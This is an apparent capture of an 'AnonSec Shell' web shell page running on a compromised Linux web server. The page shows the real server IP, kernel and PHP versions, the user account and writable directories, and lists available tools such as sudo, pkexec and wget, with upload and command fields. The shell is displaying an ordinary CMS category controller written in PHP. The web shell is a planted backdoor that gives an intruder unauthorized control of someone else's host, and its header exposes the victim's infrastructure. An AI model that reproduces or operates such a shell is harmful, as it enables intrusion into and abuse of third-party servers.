AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.114
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/rodeio/application/plugins/module_cms/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/rodeio/application/plugins/module_cms/controllers/CategoryController.php
<?php
include_once "Controller.php";
include_once __DIR__ . "/../models/CategoryModel.php";

class CategoryController extends Controller
{
    /**
     * @var CategoryModel
     */
    protected $model;

    /**
     * @param $ui
     * @param array $_L
     * @param array $config
     * @param $_pd
     */
    public function __construct($ui, $_L, $config, $_pd)
    {
        parent::__construct($ui, $_L, $config, $_pd);
        $this->ui->assign('_title', $this->_L['CMS_Module'] . ' - ' . $this->config['CompanyName']);
        $this->model = new CategoryModel();
    }

    /**
     * Show form to add category
     */
    public function add()
    {
        $this->ui->assign('_st', $this->_L['CMS_New_Category']);
        $this->ui->assign('_include', 'category/' . __FUNCTION__);
        $this->ui->display('wrapper.tpl');
    }

    public function create()
    {
        $data = $_POST;
        $data['status'] = (int) !empty($data['status']) && $data['status'] == 'on';
        $this->model->createCategory($data);

        $this->ui->assign('_st', $this->_L['CMS_Category_Save']);
        r2(U . 'module_cms/category/listCategories', 's', $this->_L['CMS_Category_Save']);
    }

    public function update()
    {
        $category = $this->validateCategory();

        $this->data['status'] = (int) !empty($this->data['status']) && $this->data['status'] == 'on';
        $this->model->updateCategory($this->data, $category);

        $this->ui->assign('_st', $this->_L['CMS_Edit_Category']);
        r2(U . 'module_cms/category/listCategories', 's', $this->_L['CMS_Category_Edit']);
        $this->ui->display('wrapper.tpl');
    }

    public function delete()
    {
        $category = $this->validateCategory();
        $this->model->deleteCategory($category);

        $this->ui->assign('_st', $this->_L['CMS_Edit_Category']);
        r2(U . 'module_cms/category/listCategories', 's', $this->_L['CMS_Category_Delete']);
        $this->ui->display('wrapper.tpl');
    }

    /**
     * @return ORM
     */
    protected function validateCategory()
    {
        $this->data = $_POST;
        if (empty($this->data['id']) || !is_numeric($this->data['id'])) {
            die($this->_L['Id_Required']);
        }

        $category = $this->model->getOne($this->data['id']);

        if (!$category) {
            die($this->_L['Not_Found']);
        }

        return $category;
    }

    /**
     * Show form to edit category
     */
    public function edit()
    {
        if (empty($this->routes[3]) || !is_numeric($this->routes[3])) {
            die($this->_L['Id_Required']);
        }

        $category = $this->model->getOne($this->routes[3]);
        
        if (!$category) {
            die($this->_L['Not_Found']);
        }

        $this->ui->assign('category', $category);
        $this->ui->assign('_st', $this->_L['CMS_Module'] . ' - ' . $this->_L['CMS_Edit_Category']);
        $this->ui->assign('_include', 'category/add');
        $this->ui->display('wrapper.tpl');
    }

    /**
     * List categories
     */
    public function listCategories()
    {
        $categories = $this->model->all('id', true);
        $this->ui->assign('categories', $categories);
        $this->ui->assign('_st', $this->_L['CMS_Categories']);
        $this->ui->assign('_include', 'category/' . __FUNCTION__);
        $this->ui->display('wrapper.tpl');
    }
}

Anon7 - 2022
AnonSec Team